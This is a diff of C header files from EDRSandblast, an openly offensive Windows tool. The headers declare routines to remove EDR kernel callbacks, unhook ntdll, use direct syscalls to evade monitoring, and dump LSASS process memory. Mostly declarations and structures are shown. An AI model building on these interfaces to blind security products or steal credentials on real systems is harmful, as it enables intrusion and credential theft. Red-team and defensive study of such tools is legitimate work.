// ntoskrnl PsThreadType symbol offset
|
||||
DWORD64 psThreadType;
|
||||
// ntoskrnl _OBJECT_TYPE's CallbackList symbol offset
|
||||
DWORD64 object_type_callbacklist;
|
||||
} st;
|
||||
|
||||
// array version (usefull for code factoring)
|
||||
DWORD64 ar[_SUPPORTED_NTOSKRNL_OFFSETS_END];
|
||||
};
|
||||
|
||||
union NtoskrnlOffsets ntoskrnlOffsets;
|
||||
union NtoskrnlOffsets g_ntoskrnlOffsets;
|
||||
|
||||
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
|
||||
union NtoskrnlOffsets GetNtoskrnlVersionOffsets(TCHAR* ntoskrnlOffsetFilename);
|
||||
// Stores, in a global variable, the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
|
||||
void LoadNtoskrnlOffsetsFromFile(TCHAR* ntoskrnlOffsetFilename);
|
||||
|
||||
// Saves the offsets, stored in global variable, in the provided CSV file
|
||||
void SaveNtoskrnlOffsetsToFile(TCHAR* ntoskrnlOffsetFilename);
|
||||
|
||||
// Print the Ntosknrl offsets.
|
||||
void PrintNtoskrnlOffsets();
|
||||
|
||||
void LoadNtoskrnlOffsetsFromInternet(BOOL delete_pdb);
|
||||
|
||||
BOOL NtoskrnlOffsetsAreAllPresent();
|
||||
BOOL NtoskrnlAllKernelCallbacksOffsetsArePresent();
|
||||
BOOL NtoskrnlNotifyRoutinesOffsetsArePresent();
|
||||
BOOL NtoskrnlEtwtiOffsetsArePresent();
|
||||
BOOL NtoskrnlObjectCallbackOffsetsArePresent();
|
||||
@@ -0,0 +1,30 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
|
||||
#define DECLARE_OFFSET(STRUCTNAME, OFFSETNAME) DWORD64 Offset_ ## STRUCTNAME ## _ ## OFFSETNAME
|
||||
#define DECLARE_SYMBOL(SYMBOL) DWORD64 Sym_ ## SYMBOL
|
||||
|
||||
// Offset used in experimental functions (EnumAllObjectsCallbacks, EnableDisableProcessAndThreadObjectsCallbacksSupport)
|
||||
DECLARE_OFFSET(_OBJECT_TYPE, Name);
|
||||
DECLARE_OFFSET(_OBJECT_TYPE, TotalNumberOfObjects);
|
||||
DECLARE_OFFSET(_OBJECT_TYPE, TypeInfo);
|
||||
DECLARE_OFFSET(_OBJECT_TYPE_INITIALIZER, ObjectTypeFlags);
|
||||
DECLARE_SYMBOL(ObpObjectTypes);
|
||||
DECLARE_SYMBOL(ObpTypeObjectType);
|
||||
|
||||
|
||||
//callback support strategy
|
||||
void EnableDisableProcessAndThreadObjectsCallbacksSupport(BOOL enable);
|
||||
BOOL AreProcessAndThreadsObjectsCallbacksSupportEnabled();
|
||||
|
||||
//undoc struct strategy
|
||||
void EnumAllObjectsCallbacks();
|
||||
BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks);
|
||||
void EnableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks);
|
||||
void DisableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks);
|
||||
void EnableDisableAllProcessAndThreadObjectsCallbacks(BOOL enable);
|
||||
|
||||
//full black box strategy
|
||||
SIZE_T CountProcessAndThreadObjectsCallbacks();
|
||||
void RemoveAllProcessAndThreadObjectsCallbacks();
|
||||
void RestoreAllProcessAndThreadObjectsCallbacks();
|
||||
@@ -1,9 +1,10 @@
|
||||
#pragma once
|
||||
#pragma warning (disable:4214) //Warning Level 4: C4214: nonstandard extension used : bit field types other than int
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
typedef unsigned __int64 QWORD;
|
||||
|
||||
|
||||
typedef struct _IMAGE_RELOCATION_ENTRY {
|
||||
WORD Offset : 12;
|
||||
WORD Type : 4;
|
||||
@@ -14,6 +15,13 @@ typedef struct PE_relocation_t {
|
||||
WORD Type : 4;
|
||||
} PE_relocation;
|
||||
|
||||
typedef struct PE_codeview_debug_info_t {
|
||||
DWORD signature;
|
||||
GUID guid;
|
||||
DWORD age;
|
||||
CHAR pdbName[1];
|
||||
} PE_codeview_debug_info;
|
||||
|
||||
typedef struct PE_pointers {
|
||||
BOOL isMemoryMapped;
|
||||
BOOL isInAnotherAddressSpace;
|
||||
@@ -34,6 +42,9 @@ typedef struct PE_pointers {
|
||||
//relocations info
|
||||
DWORD nbRelocations;
|
||||
PE_relocation* relocations;
|
||||
//debug info
|
||||
IMAGE_DEBUG_DIRECTORY* debugDirectory;
|
||||
PE_codeview_debug_info* codeviewDebugInfo;
|
||||
} PE;
|
||||
|
||||
PE* PE_create(PVOID imageBase, BOOL isMemoryMapped);
|
||||
@@ -48,3 +59,4 @@ VOID PE_parseRelocations(PE* pe);
|
||||
VOID PE_rebasePE(PE* pe, LPVOID newBaseAddress);
|
||||
PVOID PE_search_pattern(PE* pe, PBYTE pattern, size_t patternSize);
|
||||
PVOID PE_search_relative_reference(PE* pe, PVOID target, DWORD relativeReferenceSize);
|
||||
VOID PE_destroy(PE* pe);
|
||||
@@ -0,0 +1,12 @@
|
||||
#pragma once
|
||||
|
||||
typedef struct symbol_ctx_t {
|
||||
LPWSTR pdb_name_w;
|
||||
DWORD64 pdb_base_addr;
|
||||
HANDLE sym_handle;
|
||||
} symbol_ctx;
|
||||
|
||||
symbol_ctx* LoadSymbolsFromImageFile(LPCWSTR image_file_path);
|
||||
DWORD64 GetSymbolAddress(symbol_ctx* ctx, LPCSTR symbol_name);
|
||||
DWORD GetFieldOffset(symbol_ctx* ctx, LPCSTR struct_name, LPCWSTR field_name);
|
||||
void UnloadSymbols(symbol_ctx* ctx, BOOL delete_pdb);
|
||||
@@ -0,0 +1,16 @@
|
||||
/*
|
||||
|
||||
--- LSASS dump functions.
|
||||
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
//typedef BOOL(WINAPI* _MiniDumpWriteDump)(HANDLE hProcess, DWORD ProcessId, HANDLE hFile, MINIDUMP_TYPE DumpType, PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam, PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam, PMINIDUMP_CALLBACK_INFORMATION CallbackParam);
|
||||
typedef BOOL(WINAPI* _MiniDumpWriteDump)(HANDLE hProcess, DWORD ProcessId, HANDLE hFile, MINIDUMP_TYPE DumpType, PVOID ExceptionParam, PVOID UserStreamParam, PVOID CallbackParam);
|
||||
|
||||
|
||||
DWORD WINAPI dumpProcess(LPTSTR processName, TCHAR* outputDumpFile);
|
||||
DWORD WINAPI dumpProcessFromThread(PVOID* args);
|
||||
@@ -0,0 +1,29 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <tchar.h>
|
||||
|
||||
enum ProcessorArchitecture {
|
||||
AMD64 = 9,
|
||||
INTEL = 0,
|
||||
};
|
||||
|
||||
#if _WIN64
|
||||
#define PROCESSOR_ARCHITECTURE AMD64
|
||||
#define SIZE_OF_SYSTEM_INFO_STREAM 48
|
||||
#else
|
||||
#define PROCESSOR_ARCHITECTURE INTEL
|
||||
#define SIZE_OF_SYSTEM_INFO_STREAM 56
|
||||
#endif
|
||||
|
||||
typedef struct _DUMP_CONTEXT {
|
||||
HANDLE hProcess;
|
||||
PVOID BaseAddress;
|
||||
ULONG32 RVA;
|
||||
SIZE_T DumpMaxSize;
|
||||
ULONG32 Signature;
|
||||
USHORT Version;
|
||||
USHORT ImplementationVersion;
|
||||
} DUMP_CONTEXT, * PDUMP_CONTEXT;
|
||||
|
||||
DWORD SandMiniDumpWriteDump(TCHAR* targetProcessName, WCHAR* dumpFilePath);
|
||||
DWORD SandMiniDumpWriteDumpFromThread(PVOID* args);
|
||||
@@ -0,0 +1,34 @@
|
||||
#include <Windows.h>
|
||||
#include <tchar.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "Undoc.h"
|
||||
|
||||
typedef struct _MODULE_INFO {
|
||||
struct _MODULE_INFO* next;
|
||||
ULONG64 dllBase;
|
||||
ULONG32 ImageSize;
|
||||
WCHAR dllName[256];
|
||||
ULONG32 nameRVA;
|
||||
ULONG32 timeDateStamp;
|
||||
ULONG32 checkSum;
|
||||
} MODULE_INFO, * PMODULE_INFO;
|
||||
|
||||
typedef struct _MEMORY_PAGE_INFO {
|
||||
struct _MEMORY_PAGE_INFO* next;
|
||||
ULONG64 startOfMemoryPage;
|
||||
ULONG64 dataSize;
|
||||
DWORD state;
|
||||
DWORD protect;
|
||||
DWORD type;
|
||||
} MEMORY_PAGE_INFO, * PMEMORY_PAGE_INFO;
|
||||
|
||||
PVOID GetRVA(ULONG_PTR baseAddress, ULONG_PTR RVA);
|
||||
|
||||
// Return a pointer to the target process PEB Ldr (as a pseudo LDR_DATA_TABLE_ENTRY).
|
||||
PLDR_DATA_TABLE_ENTRY getPebLdrAddress(HANDLE hProcess);
|
||||
|
||||
// Return a module info list of loaded moduler in InMemoryOrder.
|
||||
PMODULE_INFO getModulesInLdrByInMemoryOrder(HANDLE hProcess);
|
||||
|
||||
PMEMORY_PAGE_INFO getMemoryPagesInfo(HANDLE hProcess, BOOL filterPage);
|
||||
@@ -10,15 +10,9 @@
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
|
||||
//extern union NtoskrnlOffsets ntoskrnlOffsets;
|
||||
|
||||
#ifndef NT_SUCCESS
|
||||
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
|
||||
#endif
|
||||
#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
|
||||
|
||||
#define PROTECTED_PROCESS_MASK 0x00000800
|
||||
|
||||
/*
|
||||
* Defines the NtQuerySystemInformation function.
|
||||
|
||||
@@ -0,0 +1,121 @@
|
||||
#pragma once
|
||||
|
||||
// Code below is adapted from @modexpblog. Read linked article for more details.
|
||||
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
|
||||
|
||||
#ifndef SW2_HEADER_H_
|
||||
#define SW2_HEADER_H_
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
#include "Undoc.h"
|
||||
|
||||
#define SW2_SEED 0xE14B0D06
|
||||
#define SW2_ROL8(v) (v << 8 | v >> 24)
|
||||
#define SW2_ROR8(v) (v >> 8 | v << 24)
|
||||
#define SW2_ROX8(v) ((SW2_SEED % 2) ? SW2_ROL8(v) : SW2_ROR8(v))
|
||||
#define SW2_MAX_ENTRIES 500
|
||||
#define SW2_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
|
||||
|
||||
// Typedefs are prefixed to avoid pollution.
|
||||
|
||||
typedef struct _SW2_SYSCALL_ENTRY
|
||||
{
|
||||
DWORD Hash;
|
||||
DWORD RVA;
|
||||
DWORD SyscallNumber;
|
||||
} SW2_SYSCALL_ENTRY, * PSW2_SYSCALL_ENTRY;
|
||||
|
||||
typedef struct _SW2_SYSCALL_LIST
|
||||
{
|
||||
DWORD Count;
|
||||
SW2_SYSCALL_ENTRY Entries[SW2_MAX_ENTRIES];
|
||||
} SW2_SYSCALL_LIST, * PSW2_SYSCALL_LIST;
|
||||
|
||||
|
||||
DWORD SW2_HashSyscall(PCSTR FunctionName);
|
||||
BOOL SW2_PopulateSyscallList(void);
|
||||
EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash);
|
||||
|
||||
#ifndef InitializeObjectAttributes
|
||||
#define InitializeObjectAttributes( p, n, a, r, s ) { \
|
||||
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
|
||||
(p)->RootDirectory = r; \
|
||||
(p)->Attributes = a; \
|
||||
(p)->ObjectName = n; \
|
||||
(p)->SecurityDescriptor = s; \
|
||||
(p)->SecurityQualityOfService = NULL; \
|
||||
}
|
||||
#endif
|
||||
|
||||
EXTERN_C NTSTATUS NtGetNextProcess(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN ULONG HandleAttributes,
|
||||
IN ULONG Flags,
|
||||
OUT PHANDLE NewProcessHandle);
|
||||
|
||||
EXTERN_C NTSTATUS NtQueryInformationProcess(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PROCESSINFOCLASS ProcessInformationClass,
|
||||
OUT PVOID ProcessInformation,
|
||||
IN ULONG ProcessInformationLength,
|
||||
OUT PULONG ReturnLength OPTIONAL);
|
||||
|
||||
EXTERN_C NTSTATUS NtClose(
|
||||
IN HANDLE Handle);
|
||||
|
||||
EXTERN_C NTSTATUS NtAllocateVirtualMemory(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN OUT PVOID* BaseAddress,
|
||||
IN ULONG ZeroBits,
|
||||
IN OUT PSIZE_T RegionSize,
|
||||
IN ULONG AllocationType,
|
||||
IN ULONG Protect);
|
||||
|
||||
EXTERN_C NTSTATUS NtOpenProcess(
|
||||
OUT PHANDLE ProcessHandle,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
IN PCLIENT_ID ClientId OPTIONAL);
|
||||
|
||||
EXTERN_C NTSTATUS NtQueryVirtualMemory(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PVOID BaseAddress,
|
||||
IN MEMORY_INFORMATION_CLASS MemoryInformationClass,
|
||||
OUT PVOID MemoryInformation,
|
||||
IN SIZE_T MemoryInformationLength,
|
||||
OUT PSIZE_T ReturnLength OPTIONAL);
|
||||
|
||||
EXTERN_C NTSTATUS NtReadVirtualMemory(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PVOID BaseAddress OPTIONAL,
|
||||
OUT PVOID Buffer,
|
||||
IN SIZE_T BufferSize,
|
||||
OUT PSIZE_T NumberOfBytesRead OPTIONAL);
|
||||
|
||||
EXTERN_C NTSTATUS NtCreateFile(
|
||||
OUT PHANDLE FileHandle,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
OUT PIO_STATUS_BLOCK IoStatusBlock,
|
||||
IN PLARGE_INTEGER AllocationSize OPTIONAL,
|
||||
IN ULONG FileAttributes,
|
||||
IN ULONG ShareAccess,
|
||||
IN ULONG CreateDisposition,
|
||||
IN ULONG CreateOptions,
|
||||
IN PVOID EaBuffer OPTIONAL,
|
||||
IN ULONG EaLength);
|
||||
|
||||
EXTERN_C NTSTATUS NtWriteFile(
|
||||
IN HANDLE FileHandle,
|
||||
IN HANDLE Event OPTIONAL,
|
||||
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
|
||||
IN PVOID ApcContext OPTIONAL,
|
||||
OUT PIO_STATUS_BLOCK IoStatusBlock,
|
||||
IN PVOID Buffer,
|
||||
IN ULONG Length,
|
||||
IN PLARGE_INTEGER ByteOffset OPTIONAL,
|
||||
IN PULONG Key OPTIONAL);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,29 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
#include "winerror.h"
|
||||
#include <wincrypt.h>
|
||||
#include <wintrust.h>
|
||||
#include <stdio.h>
|
||||
#include <tchar.h>
|
||||
|
||||
#pragma comment(lib, "crypt32.lib")
|
||||
|
||||
typedef
|
||||
enum _SignatureOpsError {
|
||||
E_FILE_NOT_FOUND = -2,
|
||||
E_KO = -1,
|
||||
E_SUCCESS = 0,
|
||||
E_INSUFFICIENT_BUFFER = 1,
|
||||
E_NOT_SIGNED = 2
|
||||
} SignatureOpsError;
|
||||
//typedef enum _signatureOpsError signatureOpsError;
|
||||
|
||||
/*
|
||||
* Retrieves a string containing the Signers of the specificied file concatenated.
|
||||
* Parameters:
|
||||
* [in] pFilePath: path the file.
|
||||
* [out] outSigners: out string that will contain the concatenated Signers. If outSigners is NULL, szOutSigners will contain the number of TCHAR required for the output string (termination included).
|
||||
* [in,out] szOutSigners: length of outSigners. If szOutSigners is too small, szOutSigners will contain the number of TCHAR required for the output string (termination included).
|
||||
*/
|
||||
SignatureOpsError GetFileSigners(TCHAR* pFilePath, TCHAR* outSigners, size_t* szOutSigners);
|
||||
@@ -0,0 +1,12 @@
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <Tchar.h>
|
||||
|
||||
#include "Undoc.h"
|
||||
#include "time.h"
|
||||
|
||||
VOID getUnicodeStringFromTCHAR(OUT PUNICODE_STRING unicodeString, IN WCHAR* tcharString);
|
||||
|
||||
TCHAR* generateRandomString(TCHAR* str, size_t size);
|
||||
TCHAR* allocAndGenerateRandomString(size_t length);
|
||||
@@ -0,0 +1,16 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <tchar.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "SW2_Syscalls.h"
|
||||
|
||||
#define ProcessImageFileName 27
|
||||
|
||||
DWORD SandGetProcessPID(HANDLE hProcess);
|
||||
|
||||
PUNICODE_STRING SandGetProcessImage(HANDLE hProcess);
|
||||
|
||||
DWORD SandGetProcessFilename(PUNICODE_STRING ProcessImageUnicodeStr, TCHAR* ImageFileName, DWORD nSize);
|
||||
|
||||
DWORD SandFindProcessPidByName(TCHAR* targetProcessName, DWORD* pPid);
|
||||
@@ -0,0 +1,4 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
|
||||
PVOID CreateSyscallStubWithVirtuallAlloc(LPCSTR ntFunctionName);
|
||||
+116
-10
@@ -148,6 +148,7 @@
|
||||
#ifdef _MSC_VER
|
||||
//when compiling as C
|
||||
#pragma warning (disable:4214) //Warning Level 4: C4214: nonstandard extension used : bit field types other than int
|
||||
#pragma warning (disable:4201) //Warning Level 4: C4201: nonstandard extension used: nameless struct/union
|
||||
|
||||
//"#pragma pack(1)" not needed as Microsoft has designed all structure members to be on natural boundaries
|
||||
|
||||
@@ -276,9 +277,15 @@ struct RTL_CRITICAL_SECTION
|
||||
|
||||
typedef struct _CLIENT_ID
|
||||
{
|
||||
DWORD ProcessId;
|
||||
DWORD ThreadId;
|
||||
} CLIENT_ID;
|
||||
HANDLE ProcessId;
|
||||
HANDLE ThreadId;
|
||||
} CLIENT_ID, * PCLIENT_ID;
|
||||
|
||||
//typedef struct _CLIENT_ID
|
||||
//{
|
||||
// HANDLE UniqueProcess;
|
||||
// HANDLE UniqueThread;
|
||||
//} CLIENT_ID, * PCLIENT_ID;
|
||||
|
||||
/*
|
||||
typedef struct _PROCESSOR_NUMBER
|
||||
@@ -293,16 +300,15 @@ typedef struct _STRING
|
||||
{
|
||||
WORD Length;
|
||||
WORD MaximumLength;
|
||||
CHAR* Buffer;
|
||||
CHAR* Buffer;
|
||||
} STRING;
|
||||
|
||||
typedef struct _UNICODE_STRING
|
||||
{
|
||||
WORD Length;
|
||||
WORD MaximumLength;
|
||||
WCHAR* Buffer;
|
||||
} UNICODE_STRING;
|
||||
|
||||
WCHAR* Buffer;
|
||||
} UNICODE_STRING, * PUNICODE_STRING;
|
||||
|
||||
//
|
||||
// Exception-specific structures and definitions
|
||||
@@ -469,7 +475,7 @@ typedef struct _PEB_LDR_DATA
|
||||
LIST_ENTRY InMemoryOrderModuleList; //0x14
|
||||
LIST_ENTRY InInitializationOrderModuleList; //0x1C
|
||||
void* EntryInProgress; //0x24
|
||||
} PEB_LDR_DATA;
|
||||
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||
|
||||
typedef struct PEB_FREE_BLOCK PEB_FREE_BLOCK;
|
||||
struct PEB_FREE_BLOCK
|
||||
@@ -509,7 +515,7 @@ typedef struct _RTL_USER_PROCESS_PARAMETERS
|
||||
UNICODE_STRING ShellInfo; //0x80
|
||||
UNICODE_STRING RuntimeData; //0x88
|
||||
RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20]; //0x90
|
||||
} RTL_USER_PROCESS_PARAMETERS;
|
||||
} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;
|
||||
|
||||
//
|
||||
// PEB (Process Environment Block) 32-bit
|
||||
@@ -728,7 +734,7 @@ typedef struct _PEB
|
||||
} dword254;
|
||||
void* WaitOnAddressHashTable[128]; //0x025C
|
||||
|
||||
} PEB;
|
||||
} PEB, * PPEB;
|
||||
|
||||
|
||||
//
|
||||
@@ -1152,4 +1158,104 @@ typedef struct _LDR_DATA_TABLE_ENTRY
|
||||
LIST_ENTRY StaticLinks;
|
||||
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
|
||||
|
||||
#define OBJ_CASE_INSENSITIVE 0x00000040L
|
||||
#define FILE_SUPERSEDE 0x00000000
|
||||
#define FILE_OPEN 0x00000001
|
||||
#define FILE_CREATE 0x00000002
|
||||
#define FILE_OPEN_IF 0x00000003
|
||||
#define FILE_OVERWRITE 0x00000004
|
||||
#define FILE_MAXIMUM_DISPOSITION 0x00000005
|
||||
#define FILE_DIRECTORY_FILE 0x00000001
|
||||
#define FILE_WRITE_THROUGH 0x00000002
|
||||
#define FILE_SEQUENTIAL_ONLY 0x00000004
|
||||
#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008
|
||||
#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010
|
||||
#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020
|
||||
#define FILE_NON_DIRECTORY_FILE 0x00000040
|
||||
#define FILE_CREATE_TREE_CONNECTION 0x00000080
|
||||
#define FILE_COMPLETE_IF_OPLOCKED 0x00000100
|
||||
#define FILE_NO_EA_KNOWLEDGE 0x00000200
|
||||
#define FILE_OPEN_FOR_RECOVERY 0x00000400
|
||||
#define FILE_RANDOM_ACCESS 0x00000800
|
||||
#define FILE_DELETE_ON_CLOSE 0x00001000
|
||||
#define FILE_OPEN_BY_FILE_ID 0x00002000
|
||||
#define FILE_OVERWRITE_IF 0x00000005
|
||||
|
||||
typedef struct _IO_STATUS_BLOCK
|
||||
{
|
||||
union
|
||||
{
|
||||
NTSTATUS Status;
|
||||
VOID* Pointer;
|
||||
};
|
||||
ULONG_PTR Information;
|
||||
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
|
||||
|
||||
typedef struct _OBJECT_ATTRIBUTES
|
||||
{
|
||||
ULONG Length;
|
||||
HANDLE RootDirectory;
|
||||
PUNICODE_STRING ObjectName;
|
||||
ULONG Attributes;
|
||||
PVOID SecurityDescriptor;
|
||||
PVOID SecurityQualityOfService;
|
||||
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
|
||||
|
||||
typedef enum _PROCESSINFOCLASS
|
||||
{
|
||||
ProcessBasicInformation = 0,
|
||||
ProcessDebugPort = 7,
|
||||
ProcessWow64Information = 26,
|
||||
ProcessImageFileName = 27,
|
||||
ProcessBreakOnTermination = 29
|
||||
} PROCESSINFOCLASS, * PPROCESSINFOCLASS;
|
||||
|
||||
typedef VOID(NTAPI* PIO_APC_ROUTINE) (
|
||||
IN PVOID ApcContext,
|
||||
IN PIO_STATUS_BLOCK IoStatusBlock,
|
||||
IN ULONG Reserved);
|
||||
|
||||
typedef LONG KPRIORITY;
|
||||
typedef struct _PROCESS_BASIC_INFORMATION {
|
||||
NTSTATUS ExitStatus;
|
||||
PPEB PebBaseAddress;
|
||||
ULONG_PTR AffinityMask;
|
||||
KPRIORITY BasePriority;
|
||||
ULONG_PTR UniqueProcessId;
|
||||
ULONG_PTR InheritedFromUniqueProcessId;
|
||||
} PROCESS_BASIC_INFORMATION;
|
||||
typedef enum _MEMORY_INFORMATION_CLASS {
|
||||
MemoryBasicInformation,
|
||||
MemoryWorkingSetInformation,
|
||||
MemoryMappedFilenameInformation,
|
||||
MemoryRegionInformation,
|
||||
MemoryWorkingSetExInformation,
|
||||
MemorySharedCommitInformation,
|
||||
MemoryImageInformation,
|
||||
MemoryRegionInformationEx,
|
||||
MemoryPrivilegedBasicInformation,
|
||||
MemoryEnclaveImageInformation,
|
||||
MemoryBasicInformationCapped
|
||||
} MEMORY_INFORMATION_CLASS, * PMEMORY_INFORMATION_CLASS;
|
||||
|
||||
#ifndef NT_SUCCESS
|
||||
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
|
||||
#endif
|
||||
|
||||
#define STATUS_SUCCES 0x00000000
|
||||
#define STATUS_UNSUCCESSFUL 0xC0000001
|
||||
#define STATUS_PARTIAL_COPY 0x8000000D
|
||||
#define STATUS_ACCESS_DENIED 0xC0000022
|
||||
#define STATUS_OBJECT_PATH_NOT_FOUND 0xC000003A
|
||||
#define STATUS_OBJECT_NAME_NOT_FOUND 0xC0000034
|
||||
#define STATUS_OBJECT_NAME_INVALID 0xc0000033
|
||||
#define STATUS_SHARING_VIOLATION 0xC0000043
|
||||
#define STATUS_NO_MORE_ENTRIES 0x8000001A
|
||||
#define STATUS_INVALID_CID 0xC000000B
|
||||
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
|
||||
#define STATUS_OBJECT_PATH_SYNTAX_BAD 0xC000003B
|
||||
#define STATUS_BUFFER_TOO_SMALL 0xC0000023
|
||||
#define STATUS_OBJECT_NAME_COLLISION 0xC0000035
|
||||
#define STATUS_ALERTED 0x00000101
|
||||
|
||||
#include "undoc_64.h"
|
||||
|
||||
@@ -95,8 +95,8 @@ typedef struct UNICODE_STRING64
|
||||
} u;
|
||||
QWORD dummyalign;
|
||||
} uOrDummyAlign;
|
||||
QWORD Buffer;
|
||||
} UNICODE_STRING64;
|
||||
WCHAR* Buffer;
|
||||
} UNICODE_STRING64, * PUNICODE_STRING64;
|
||||
|
||||
typedef struct _CLIENT_ID64
|
||||
{
|
||||
@@ -104,7 +104,6 @@ typedef struct _CLIENT_ID64
|
||||
QWORD ThreadId;
|
||||
} CLIENT_ID64;
|
||||
|
||||
|
||||
//NOTE: the members of this structure are not yet complete
|
||||
typedef struct _RTL_USER_PROCESS_PARAMETERS64
|
||||
{
|
||||
@@ -215,7 +214,7 @@ typedef struct PEB64
|
||||
QWORD SystemAssemblyStorageMap; //0x0310
|
||||
QWORD MinimumStackCommit; //0x0318
|
||||
|
||||
} PEB64; //struct PEB64
|
||||
} PEB64, * PPEB64; //struct PEB64
|
||||
|
||||
//
|
||||
// TEB64 structure - preliminary structure; the portion listed current at least as of Windows 8
|
||||
|
||||
@@ -1,52 +1,61 @@
|
||||
#pragma once
|
||||
#include "PEParser.h"
|
||||
|
||||
typedef struct diff_t {
|
||||
PVOID disk_ptr;
|
||||
PVOID mem_ptr;
|
||||
size_t size;
|
||||
} diff;
|
||||
// Sets an arbitrary maximum size of a hook ; ideally, this should be the minimum value of all (potentially patched) functions' lengths
|
||||
#if _WIN64
|
||||
#define PATCH_MAX_SIZE 0x18
|
||||
#else
|
||||
#define PATCH_MAX_SIZE 0x10
|
||||
#endif
|
||||
|
||||
typedef struct hook_t {
|
||||
PVOID disk_function;
|
||||
PVOID mem_function;
|
||||
LPCSTR functionName;
|
||||
diff* list_patches;
|
||||
} hook;
|
||||
typedef struct PATCH_DIFF_t {
|
||||
PVOID disk_ptr;
|
||||
PVOID mem_ptr;
|
||||
size_t size;
|
||||
} PATCH_DIFF;
|
||||
|
||||
typedef struct HOOK_t {
|
||||
PVOID disk_function;
|
||||
PVOID mem_function;
|
||||
LPCSTR functionName;
|
||||
PATCH_DIFF* list_patches;
|
||||
} HOOK;
|
||||
|
||||
typedef NTSTATUS(NTAPI* pNtProtectVirtualMemory) (
|
||||
IN HANDLE ProcessHandle,
|
||||
IN OUT PVOID* BaseAddress,
|
||||
IN OUT PSIZE_T NumberOfBytesToProtect,
|
||||
IN ULONG NewAccessProtection,
|
||||
OUT PULONG OldAccessProtection);
|
||||
IN HANDLE ProcessHandle,
|
||||
IN OUT PVOID* BaseAddress,
|
||||
IN OUT PSIZE_T NumberOfBytesToProtect,
|
||||
IN ULONG NewAccessProtection,
|
||||
OUT PULONG OldAccessProtection);
|
||||
|
||||
typedef NTSTATUS(NTAPI* pRtlGetVersion)(
|
||||
OUT LPOSVERSIONINFOEXW lpVersionInformation);
|
||||
OUT LPOSVERSIONINFOEXW lpVersionInformation);
|
||||
|
||||
enum unhook_method_e {
|
||||
UNHOOK_NONE,
|
||||
typedef enum UNHOOK_METHOD_e {
|
||||
UNHOOK_NONE,
|
||||
|
||||
// Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all detected hooks
|
||||
UNHOOK_WITH_NTPROTECTVIRTUALMEMORY,
|
||||
// Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all detected hooks
|
||||
UNHOOK_WITH_NTPROTECTVIRTUALMEMORY,
|
||||
|
||||
// Constructs an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, by allocating an executable trampoling jumping over the hook, and remove all detected hooks
|
||||
UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE,
|
||||
// Constructs an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, by allocating an executable trampoling jumping over the hook, and remove all detected hooks
|
||||
UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE,
|
||||
|
||||
// Search for an existing trampoline allocated by the EDR itself, to get an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all detected hooks
|
||||
UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE,
|
||||
// Search for an existing trampoline allocated by the EDR itself, to get an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all detected hooks
|
||||
